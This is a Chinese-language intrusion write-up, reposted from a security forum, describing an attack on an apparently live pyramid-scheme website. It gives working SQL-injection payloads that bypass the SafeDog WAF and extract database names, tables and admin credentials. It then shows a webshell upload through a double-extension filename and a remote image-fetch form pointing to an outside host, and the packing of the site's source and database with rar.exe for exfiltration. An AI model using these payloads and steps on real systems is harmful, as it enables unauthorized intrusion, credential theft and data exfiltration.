文章来源:先知社区(GuoKer)
原文地址:https://xz.aliyun.com/t/8213
0x01 前言
如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。
0x02 信息搜集
目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。
0x03 Bypass Sql
3.1 Fuzz
空格 error
加号 未拦截
等号 error
单引号 error
双引号 未拦截
双括号 未拦截
+select error
%0bselect 未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert() 未拦截
goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*\SQLEXPRESS 10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数
此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
和前面获取到的表总个数是一致的。
解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。
如图,盲猜列名txt_nickname、nickname、txt_password、password
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/
0x04 后台getshell
登陆后台
Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx
<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
https://o0o0.club/a.gif?.aspx
0x05 打包源码与数据库
在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告,因此我选择先通过shell来进行打包操作。
这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。
rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar
坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。
0x06 本地搭建
本地搭建的环境为:Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0
安装一笔带过,左边拉满就行,简单粗暴
关 注 有 礼
推 荐 阅 读